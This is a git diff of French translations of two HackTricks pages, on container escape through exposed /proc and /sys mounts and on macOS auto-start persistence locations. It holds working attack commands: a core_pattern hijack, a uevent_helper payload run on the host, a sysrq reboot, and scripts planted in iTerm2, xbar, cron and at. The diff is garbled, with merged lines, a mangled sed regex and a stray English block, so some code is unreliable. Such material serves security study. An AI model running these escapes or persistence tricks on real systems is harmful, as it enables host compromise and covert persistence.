+L'exposition de `/proc` et `/sys` sans une isolation de l'espace de noms appropriée présente des risques de sécurité importants, notamment l'agrandissement de la surface d'attaque et la divulgation d'informations. Ces répertoires contiennent des fichiers sensibles qui, s'ils sont mal configurés ou consultés par un utilisateur non autorisé, peuvent entraîner une évasion de conteneur, une modification de l'hôte ou fournir des informations aidant à d'autres attaques. Par exemple, monter de manière incorrecte `-v /proc:/host/proc` peut contourner la protection AppArmor en raison de sa nature basée sur le chemin, laissant `/host/proc` non protégé. -L'exposition de `/proc` et `/sys` sans une isolation de l'espace de noms appropriée présente des risques de sécurité importants, notamment l'agrandissement de la surface d'attaque et la divulgation d'informations. Ces répertoires contiennent des fichiers sensibles qui, s'ils sont mal configurés ou consultés par un utilisateur non autorisé, peuvent entraîner une évasion de conteneur, une modification de l'hôte ou fournir des informations aidant à d'autres attaques. Par exemple, le montage incorrect de `-v /proc:/host/proc` peut contourner la protection AppArmor en raison de sa nature basée sur le chemin, laissant `/host/proc` non protégé. +**Vous pouvez trouver plus de détails sur chaque vulnérabilité potentielle dans** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** -**Vous pouvez trouver plus de détails sur chaque vulnérabilité potentielle dans [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts).** +## Vulnérabilités procfs -# Vulnérabilités de procfs +### `/proc/sys` -## `/proc/sys` -Ce répertoire permet l'accès pour modifier les variables du noyau, généralement via `sysctl(2)`, et contient plusieurs sous-répertoires préoccupants : +Ce répertoire permet d'accéder à la modification des variables du noyau, généralement via `sysctl(2)`, et contient plusieurs sous-répertoires préoccupants : + +#### **`/proc/sys/kernel/core_pattern`** + +* Décrit dans [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). +* Permet de définir un programme à exécuter lors de la génération d'un fichier core avec les 128 premiers octets comme arguments. Cela peut entraîner une exécution de code si le fichier commence par un pipe `|`. +* **Exemple de test et d'exploitation** : -### **`/proc/sys/kernel/core_pattern`** -- Décrit dans [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). -- Permet de définir un programme à exécuter lors de la génération de fichiers core avec les 128 premiers octets comme arguments. Cela peut entraîner une exécution de code si le fichier commence par un pipe `|`. -- **Exemple de test et d'exploitation** : ```bash [ -w /proc/sys/kernel/core_pattern ] && echo Oui # Test d'accès en écriture cd /proc/sys/kernel -echo "|$overlay/shell.sh" > core_pattern # Définir un gestionnaire personnalisé -sleep 5 && ./crash & # Déclencher le gestionnaire +echo "|$overlay/shell.sh" > core_pattern # Définit un gestionnaire personnalisé +sleep 5 && ./crash & # Déclenche le gestionnaire ``` -### **`/proc/sys/kernel/modprobe`** -- Détails dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- Contient le chemin du chargeur de module du noyau, invoqué pour charger les modules du noyau. -- **Exemple de vérification d'accès** : +#### **`/proc/sys/kernel/modprobe`** + +* Détails dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +* Contient le chemin du chargeur de module du noyau, invoqué pour charger les modules du noyau. +* **Exemple de vérification d'accès** : + ```bash ls -l $(cat /proc/sys/kernel/modprobe) # Vérifier l'accès à modprobe ``` -### **`/proc/sys/vm/panic_on_oom`** -- Référencé dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- Un indicateur global qui contrôle si le noyau panique ou invoque l'OOM killer lorsqu'une condition OOM se produit. +#### **`/proc/sys/vm/panic_on_oom`** -### **`/proc/sys/fs`** -- Selon [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contient des options et des informations sur le système de fichiers. -- L'accès en écriture peut permettre diverses attaques de déni de service contre l'hôte. +* Référencé dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +* Un indicateur global qui contrôle si le noyau panique ou invoque l'OOM killer lorsqu'une condition OOM se produit. -### **`/proc/sys/fs/binfmt_misc`** -- Permet d'enregistrer des interprètes pour des formats binaires non natifs en fonction de leur numéro magique. -- Peut entraîner une élévation de privilèges ou un accès à un shell root si `/proc/sys/fs/binfmt_misc/register` est inscriptible. -- Exploit pertinent et explication : -- [Rootkit de pauvre homme via binfmt_misc](https://github.com/toffan/binfmt_misc) -- Tutoriel approfondi : [Lien vidéo](https://www.youtube.com/watch?v=WBC7hhgMvQQ) +#### **`/proc/sys/fs`** -## Autres dans `/proc` +* Selon [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contient des options et des informations sur le système de fichiers. +* L'accès en écriture peut permettre diverses attaques de déni de service contre l'hôte. -### **`/proc/config.gz`** -- Peut révéler la configuration du noyau si `CONFIG_IKCONFIG_PROC` est activé. -- Utile pour les attaquants pour identifier les vulnérabilités dans le noyau en cours d'exécution. +#### **`/proc/sys/fs/binfmt_misc`** + +* Permet d'enregistrer des interprètes pour des formats binaires non natifs en fonction de leur numéro magique. +* Peut entraîner une élévation de privilèges ou un accès à un shell root si `/proc/sys/fs/binfmt_misc/register` est inscriptible. +* Exploit pertinent et explication : +* [Rootkit de pauvre homme via binfmt\_misc](https://github.com/toffan/binfmt\_misc) +* Tutoriel approfondi : [Lien vidéo](https://www.youtube.com/watch?v=WBC7hhgMvQQ) + +### Autres dans `/proc` + +#### **`/proc/config.gz`** + +* Peut révéler la configuration du noyau si `CONFIG_IKCONFIG_PROC` est activé. +* Utile pour les attaquants pour identifier les vulnérabilités dans le noyau en cours d'exécution. + +#### **`/proc/sysrq-trigger`** + +* Permet d'invoquer des commandes Sysrq, pouvant entraîner des redémarrages immédiats du système ou d'autres actions critiques. +* **Exemple de redémarrage de l'hôte** : -### **`/proc/sysrq-trigger`** -- Permet d'invoquer des commandes Sysrq, pouvant entraîner des redémarrages immédiats du système ou d'autres actions critiques. -- **Exemple de redémarrage de l'hôte** : ```bash echo b > /proc/sysrq-trigger # Redémarre l'hôte ``` -### **`/proc/kmsg`** -- Expose les messages du tampon de l'anneau du noyau. -- Peut aider dans les exploits du noyau, les fuites d'adresses et fournir des informations sensibles sur le système. +#### **`/proc/kmsg`** -### **`/proc/kallsyms`** -- Liste les symboles exportés du noyau et leurs adresses. -- Essentiel pour le développement d'exploits du noyau, en particulier pour contourner le KASLR. -- Les informations d'adresse sont restreintes avec `kptr_restrict` défini sur `1` ou `2`. -- Détails dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +* Expose les messages du tampon de l'anneau du noyau. +* Peut aider dans les exploits du noyau, les fuites d'adresses et fournir des informations sensibles sur le système. -### **`/proc/[pid]/mem`** -- Interagit avec le périphérique mémoire du noyau `/dev/mem`. -- Historiquement vulnérable aux attaques d'élévation de privilèges. -- Plus sur [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +#### **`/proc/kallsyms`** -### **`/proc/kcore`** -- Représente la mémoire physique du système au format de noyau ELF. -- La lecture peut divulguer le contenu de la mémoire de l'hôte et des autres conteneurs. -- Une taille de fichier importante peut entraîner des problèmes de lecture ou des plantages logiciels. -- Utilisation détaillée dans [Dumping /proc/kcore en 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). +* Liste les symboles exportés du noyau et leurs adresses. +* Essentiel pour le développement d'exploits du noyau, en particulier pour surmonter KASLR. +* Les informations d'adresse sont restreintes avec `kptr_restrict` défini sur `1` ou `2`. +* Détails dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -### **`/proc/kmem`** -- Interface alternative pour `/dev/kmem`, représentant la mémoire virtuelle du noyau. -- Permet la lecture et l'écriture, donc la modification directe de la mémoire du noyau. +#### **`/proc/[pid]/mem`** -### **`/proc/mem`** -- Interface alternative pour `/dev/mem`, représentant la mémoire physique. -- Permet la lecture et l'écriture, la modification de toute la mémoire nécessite la résolution des adresses virtuelles en physiques. +* Interagit avec le périphérique mémoire du noyau `/dev/mem`. +* Historiquement vulnérable aux attaques d'élévation de privilèges. +* Plus sur [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -### **`/proc/sched_debug`** -- Renvoie des informations de planification des processus, contournant les protections de l'espace de noms PID. -- Expose les noms de processus, les identifiants et les identifiants de cgroup. +#### **`/proc/kcore`** -### **`/proc/[pid]/mountinfo`** -- Fournit des informations sur les points de montage dans l'espace de noms de montage du processus. -- Expose l'emplacement du `rootfs` du conteneur ou de l'image. +* Représente la mémoire physique du système au format de noyau ELF. +* La lecture peut divulguer le contenu de la mémoire de l'hôte et des autres conteneurs. +* Une taille de fichier importante peut entraîner des problèmes de lecture ou des plantages logiciels. +* Utilisation détaillée dans [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). -## Vulnérabilités de `/sys` +#### **`/proc/kmem`** + +* Interface alternative pour `/dev/kmem`, représentant la mémoire virtuelle du noyau. +* Permet la lecture et l'écriture, donc la modification directe de la mémoire du noyau. + +#### **`/proc/mem`** + +* Interface alternative pour `/dev/mem`, représentant la mémoire physique. +* Permet la lecture et l'écriture, la modification de toute la mémoire nécessite la résolution des adresses virtuelles en physiques. + +#### **`/proc/sched_debug`** + +* Renvoie des informations de planification des processus, contournant les protections de l'espace de noms PID. +* Expose les noms de processus, les identifiants et les identifiants de cgroup. + +#### **`/proc/[pid]/mountinfo`** + +* Fournit des informations sur les points de montage dans l'espace de noms de montage du processus. +* Expose l'emplacement du `rootfs` du conteneur ou de l'image. + +### Vulnérabilités `/sys` + +#### **`/sys/kernel/uevent_helper`** + +* Utilisé pour gérer les `uevents` des périphériques du noyau. +* Écrire dans `/sys/kernel/uevent_helper` peut exécuter des scripts arbitraires lors de déclenchements `uevent`. +* **Exemple d'exploitation** : %%%bash + +## Crée une charge utile + +echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper + +## Trouve le chemin de l'hôte à partir du montage OverlayFS pour le conteneur + +host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab) + +## Définit uevent\_helper sur un assistant malveillant + +echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper + +## Déclenche un uevent -### **`/sys/kernel/uevent_helper`** -- Utilisé pour gérer les `uevents` des périphériques du noyau. -- L'écriture dans `/sys/kernel/uevent_helper` peut exécuter des scripts arbitraires lors des déclenchements `uevent`. -- **Exemple d'exploitation** : -%%%bash -# Crée une charge utile -echo "#!/bin/sh" > /evil-helper -echo "ps > /output" >> /evil-helper -chmod +x /evil-helper -# Trouve le chemin de l'hôte à partir du montage OverlayFS pour le conteneur -host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab) -# Définit uevent_helper sur l'assistant malveillant -echo "$host_path/evil-helper" > /sys/kernel/uevent_helper -# Déclenche un uevent echo change > /sys/class/mem/null/uevent -# Lit la sortie -cat /output -%%% -### **`/sys/class/thermal`** -- Contrôle les paramètres de température, pouvant entraîner des attaques de déni de service ou des dommages physiques. +## Lit la sortie -### **`/sys/kernel/vmcoreinfo`** -- Fuites d'adresses du noyau, compromettant potentiellement le KASLR. +cat /output %%% +#### **`/sys/class/thermal`** -### **`/sys/kernel/security`** -- Héberge l'interface `securityfs`, permettant la configuration des modules de sécurité Linux comme AppArmor. -- L'accès pourrait permettre à un conteneur de désactiver son système MAC. +* Contrôle les paramètres de température, pouvant causer des attaques DoS ou des dommages physiques. -### **`/sys/firmware/efi/vars` et `/sys/firmware/efi/efivars`** -- Exposent des interfaces pour interagir avec les variables EFI dans la NVRAM. -- Une mauvaise configuration ou une exploitation peut entraîner des ordinateurs portables inutilisables ou des machines hôtes non démarrables. +#### **`/sys/kernel/vmcoreinfo`** -### **`/sys/kernel/debug`** -- `debugfs` offre une interface de débogage "sans règles" au noyau. -- Historique de problèmes de sécurité en raison de sa nature non restreinte. +* Fuites d'adresses du noyau, compromettant potentiellement le KASLR. +#### **`/sys/kernel/security`** + +* Contient l'interface `securityfs`, permettant la configuration des modules de sécurité Linux comme AppArmor. +* L'accès pourrait permettre à un conteneur de désactiver son système MAC. + +#### **`/sys/firmware/efi/vars` et `/sys/firmware/efi/efivars`** + +* Expose des interfaces pour interagir avec les variables EFI dans la NVRAM. +* Une mauvaise configuration ou exploitation peut entraîner des ordinateurs portables inutilisables ou des machines hôtes non démarrables. + +#### **`/sys/kernel/debug`** + +* `debugfs` offre une interface de débogage "sans règles" au noyau. +* Historique de problèmes de sécurité en raison de sa nature non restreinte. + +### Références -## Références * [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts) -* [Comprendre et renforcer les conteneurs Linux](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf) +* [Comprendre et renforcer la sécurité des conteneurs Linux](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf) * [Abus des conteneurs Linux privilégiés et non privilégiés](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf) -
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres façons de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/macos-hardening/macos-auto-start-locations.md b/macos-hardening/macos-auto-start-locations.md index 4d039f72b..71e1cb42c 100644 --- a/macos-hardening/macos-auto-start-locations.md +++ b/macos-hardening/macos-auto-start-locations.md @@ -19,7 +19,7 @@ Cette section est fortement basée sur la série de blogs [**Au-delà des bons v ## Contournement de la sandbox {% hint style="success" %} -Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement de la sandbox** qui vous permettent simplement d'exécuter quelque chose en **l'écrivant dans un fichier** et en **attendant** une **action très courante**, un **certain laps de temps** ou une **action que vous pouvez généralement effectuer** depuis l'intérieur d'une sandbox sans avoir besoin de permissions root. +Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement de la sandbox** qui vous permettent simplement d'exécuter quelque chose en **l'écrivant dans un fichier** et en **attendant** une **action très courante**, un **laps de temps déterminé** ou une **action que vous pouvez généralement effectuer** depuis l'intérieur d'une sandbox sans avoir besoin de permissions root. {% endhint %} ### Launchd @@ -42,9 +42,9 @@ Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contour * **Déclencheur** : Redémarrage * Nécessite les droits root * **`~/Library/LaunchAgents`** -* **Déclencheur** : Reconnexion +* **Déclencheur** : Connexion * **`~/Library/LaunchDemons`** -* **Déclencheur** : Reconnexion +* **Déclencheur** : Connexion #### Description & Exploitation @@ -103,8 +103,8 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit. Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/) * Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button) -* Contournement de TCC : [✅](https://emojipedia.org/check-mark-button) -* Mais vous devez trouver une application avec un contournement de TCC qui exécute un shell qui charge ces fichiers +* Contournement TCC : [✅](https://emojipedia.org/check-mark-button) +* Mais vous devez trouver une application avec un contournement TCC qui exécute un shell qui charge ces fichiers #### Emplacements @@ -149,17 +149,17 @@ Configurer l'exploitation indiquée et se déconnecter et se reconnecter ou mêm #### Emplacement * **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** -* **Déclencheur** : Redémarrer les applications réouvertes +* **Déclencheur** : Redémarrer l'ouverture des applications #### Description & Exploitation -Toutes les applications à réouvrir se trouvent dans le plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` +Toutes les applications à rouvrir se trouvent dans le plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` -Ainsi, pour que les applications réouvertes lancent la vôtre, vous devez simplement **ajouter votre application à la liste**. +Ainsi, pour que les applications à rouvrir lancent la vôtre, vous devez simplement **ajouter votre application à la liste**. L'UUID peut être trouvé en listant ce répertoire ou avec `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` -Pour vérifier les applications qui seront réouvertes, vous pouvez exécuter : +Pour vérifier les applications qui seront rouvertes, vous pouvez faire : ```bash defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin #or @@ -186,7 +186,7 @@ Pour **ajouter une application à cette liste**, vous pouvez utiliser : * **`~/Library/Preferences/com.apple.Terminal.plist`** * **Déclencheur** : Ouvrir le Terminal -#### Description & Exploitation +#### Description et Exploitation Dans **`~/Library/Preferences`** sont stockées les préférences de l'utilisateur dans les Applications. Certaines de ces préférences peuvent contenir une configuration pour **exécuter d'autres applications/scripts**. @@ -238,7 +238,7 @@ Vous pouvez ajouter ceci depuis la ligne de commande avec: #### Description & Exploitation -Si vous créez un script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) et l'ouvrez, l'application **Terminal** sera automatiquement invoquée pour exécuter les commandes indiquées à l'intérieur. Si l'application Terminal a des privilèges spéciaux (comme TCC), votre commande sera exécutée avec ces privilèges spéciaux. +Si vous créez un script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) et l'ouvrez, l'application **Terminal** sera automatiquement invoquée pour exécuter les commandes indiquées. Si l'application Terminal a des privilèges spéciaux (comme TCC), votre commande sera exécutée avec ces privilèges spéciaux. Essayez avec: ```bash @@ -271,7 +271,7 @@ open /tmp/test.terminal Vous pouvez également utiliser les extensions **`.command`**, **`.tool`**, avec du contenu de scripts shell réguliers et ils seront également ouverts par Terminal. {% hint style="danger" %} -Si le terminal a **l'Accès complet au disque**, il pourra effectuer cette action (notez que la commande exécutée sera visible dans une fenêtre de terminal). +Si le terminal a **Accès complet au disque**, il pourra effectuer cette action (notez que la commande exécutée sera visible dans une fenêtre de terminal). {% endhint %} ### Plugins Audio @@ -286,15 +286,15 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https:// #### Emplacement * **`/Library/Audio/Plug-Ins/HAL`** -* Nécessite les droits d'administrateur +* Nécessite des privilèges d'administrateur * **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur * **`/Library/Audio/Plug-ins/Components`** -* Nécessite les droits d'administrateur +* Nécessite des privilèges d'administrateur * **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur * **`~/Library/Audio/Plug-ins/Components`** * **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur * **`/System/Library/Components`** -* Nécessite les droits d'administrateur +* Nécessite des privilèges d'administrateur * **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur #### Description @@ -371,7 +371,7 @@ Le fichier de l'utilisateur root est stocké dans **`/private/var/root/Library/P ## Contournement conditionnel du bac à sable {% hint style="success" %} -Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement du bac à sable** qui vous permet de simplement exécuter quelque chose en **l'écrivant dans un fichier** et **en n'attendant pas des conditions super communes** comme des **programmes spécifiques installés, des actions d'utilisateur "non courantes" ou des environnements.** +Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement du bac à sable** qui vous permet d'exécuter simplement quelque chose en l'écrivant dans un fichier et en **attendant des conditions non super communes** comme des **programmes spécifiques installés, des actions ou environnements "non communs"**. {% endhint %} ### Cron @@ -379,7 +379,7 @@ Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contour **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/) * Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button) -* Cependant, vous devez être capable d'exécuter le binaire `crontab` +* Cependant, vous devez pouvoir exécuter le binaire `crontab` * Ou être root * Contournement de TCC : [🔴](https://emojipedia.org/large-red-circle) @@ -387,15 +387,15 @@ Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contour * **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** * Accès en écriture directe nécessite les droits root. Pas besoin de droits root si vous pouvez exécuter `crontab ` -* **Déclencheur**: Dépend de la tâche cron +* **Déclencheur** : Dépend de la tâche cron #### Description & Exploitation -Listez les tâches cron de l'**utilisateur actuel** avec: +Listez les tâches cron de l'**utilisateur actuel** avec : ```bash crontab -l ``` -Vous pouvez également voir tous les travaux cron des utilisateurs dans **`/usr/lib/cron/tabs/`** et **`/var/at/tabs/`** (nécessite des privilèges root). +Vous pouvez également voir toutes les tâches cron des utilisateurs dans **`/usr/lib/cron/tabs/`** et **`/var/at/tabs/`** (nécessite les droits root). Dans MacOS, plusieurs dossiers exécutant des scripts à **certaines fréquences** peuvent être trouvés dans : ```bash @@ -413,22 +413,22 @@ crontab /tmp/cron Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/) -* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button) -* Contournement de TCC: [✅](https://emojipedia.org/check-mark-button) -* iTerm2 utilisé pour accorder des autorisations TCC +* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button) +* Contournement de TCC : [✅](https://emojipedia.org/check-mark-button) +* iTerm2 utilisé pour avoir accordé des autorisations TCC #### Emplacements * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** -* **Déclencheur**: Ouvrir iTerm +* **Déclencheur** : Ouvrir iTerm * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** -* **Déclencheur**: Ouvrir iTerm +* **Déclencheur** : Ouvrir iTerm * **`~/Library/Preferences/com.googlecode.iterm2.plist`** -* **Déclencheur**: Ouvrir iTerm +* **Déclencheur** : Ouvrir iTerm #### Description & Exploitation -Les scripts stockés dans **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** seront exécutés. Par exemple: +Les scripts stockés dans **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** seront exécutés. Par exemple : ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF #!/bin/bash @@ -437,25 +437,23 @@ EOF chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" ``` -```markdown -## macOS Auto Start Locations +# macOS Auto Start Locations -### Launch Agents +## Launch Agents Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`. -### Launch Daemons +## Launch Daemons -Launch Daemons are used to run processes at system startup. They are stored in `/Library/LaunchDaemons/` and `/System/Library/LaunchDaemons/`. +Launch Daemons are used to run processes at system startup. They are stored in `/Library/LaunchDaemons/`. -### Login Items +## Login Items -Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`. +Login Items are applications that open when a user logs in. They can be managed in System Preferences > Users & Groups > Login Items. -### Startup Items +## Startup Items Startup Items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`. -``` ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF #!/usr/bin/env python3 @@ -527,7 +525,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit. #### Description -Si le programme populaire [**xbar**](https://github.com/matryer/xbar) est installé, il est possible d'écrire un script shell dans **`~/Library/Application\ Support/xbar/plugins/`** qui sera exécuté lorsque xbar est démarré: +Si le programme populaire [**xbar**](https://github.com/matryer/xbar) est installé, il est possible d'écrire un script shell dans **`~/Library/Application\ Support/xbar/plugins/`** qui sera exécuté lorsque xbar est lancé : ```bash cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF #!/bin/bash @@ -565,7 +563,7 @@ EOF * Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button) * Mais BetterTouchTool doit être installé * Contournement de TCC: [✅](https://emojipedia.org/check-mark-button) -* Il demande les autorisations Automation-Shortcuts et Accessibilité +* Il demande les autorisations Automation-Shortcuts et Accessibility #### Emplacement @@ -578,7 +576,7 @@ Cet outil permet d'indiquer des applications ou des scripts à exécuter lorsque * Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button) * Mais Alfred doit être installé * Contournement de TCC: [✅](https://emojipedia.org/check-mark-button) -* Il demande les autorisations Automation, Accessibilité et même Accès complet au disque +* Il demande les autorisations Automation, Accessibility et même l'accès complet au disque #### Emplacement @@ -593,14 +591,14 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit. * Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button) * Mais ssh doit être activé et utilisé * Contournement de TCC: [✅](https://emojipedia.org/check-mark-button) -* SSH a besoin d'un accès complet au disque +* SSH a besoin de l'accès complet au disque #### Emplacement * **`~/.ssh/rc`** * **Déclencheur**: Connexion via ssh * **`/etc/ssh/sshrc`** -* Nécessite les droits d'administrateur +* Nécessite les droits root * **Déclencheur**: Connexion via ssh {% hint style="danger" %} @@ -671,7 +669,7 @@ Article : [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit #### **Description** -Les tâches `at` sont conçues pour **planifier des tâches ponctuelles** à exécuter à des moments précis. Contrairement aux tâches cron, les tâches `at` sont automatiquement supprimées après l'exécution. Il est crucial de noter que ces tâches persistent à travers les redémarrages du système, ce qui les rend potentiellement préoccupantes du point de vue de la sécurité dans certaines conditions. +Les tâches `at` sont conçues pour **planifier des tâches ponctuelles** à exécuter à des moments précis. Contrairement aux tâches cron, les tâches `at` sont automatiquement supprimées après l'exécution. Il est crucial de noter que ces tâches persistent à travers les redémarrages du système, ce qui les rend potentiellement préoccupantes en termes de sécurité dans certaines conditions. Par **défaut**, elles sont **désactivées** mais l'utilisateur **root** peut les **activer** avec : ```bash @@ -681,7 +679,7 @@ Cela créera un fichier dans 1 heure : ```bash echo "echo 11 > /tmp/at.txt" | at now+1 ``` -Vérifiez la file d'attente des tâches en utilisant `atq:` +Vérifiez la file d'attente des tâches en utilisant `atq`: ```shell-session sh-3.2# atq 26 Tue Apr 27 00:46:00 2021 @@ -735,40 +733,40 @@ Le nom de fichier contient la file d'attente, le numéro de tâche et l'heure à * `a` - c'est la file d'attente * `0001a` - numéro de tâche en hexadécimal, `0x1a = 26` -* `019bdcd2` - heure en hexadécimal. Il représente les minutes écoulées depuis l'époque. `0x019bdcd2` est `26991826` en décimal. Si nous le multiplions par 60, nous obtenons `1619509560`, qui correspond à `GMT: 27 avril 2021, mardi 7:46:00`. +* `019bdcd2` - heure en hexadécimal. Il représente les minutes écoulées depuis l'époque. `0x019bdcd2` est `26991826` en décimal. Si nous le multiplions par 60, nous obtenons `1619509560`, qui est `GMT: 2021. April 27., Tuesday 7:46:00`. -Si nous imprimons le fichier de tâche, nous constatons qu'il contient les mêmes informations obtenues en utilisant `at -c`. +Si nous imprimons le fichier de tâche, nous constatons qu'il contient les mêmes informations que celles obtenues en utilisant `at -c`. ### Actions de Dossier -Analyse : [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\ -Analyse : [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) +Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\ +Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) -* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button) +* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button) * Mais vous devez être capable d'appeler `osascript` avec des arguments pour contacter **`System Events`** afin de pouvoir configurer les Actions de Dossier -* Contournement de TCC : [🟠](https://emojipedia.org/large-orange-circle) +* Contournement de TCC: [🟠](https://emojipedia.org/large-orange-circle) * Il a quelques autorisations TCC de base comme Bureau, Documents et Téléchargements #### Emplacement * **`/Library/Scripts/Folder Action Scripts`** -* Nécessite des privilèges d'administrateur -* **Déclencheur** : Accès au dossier spécifié +* 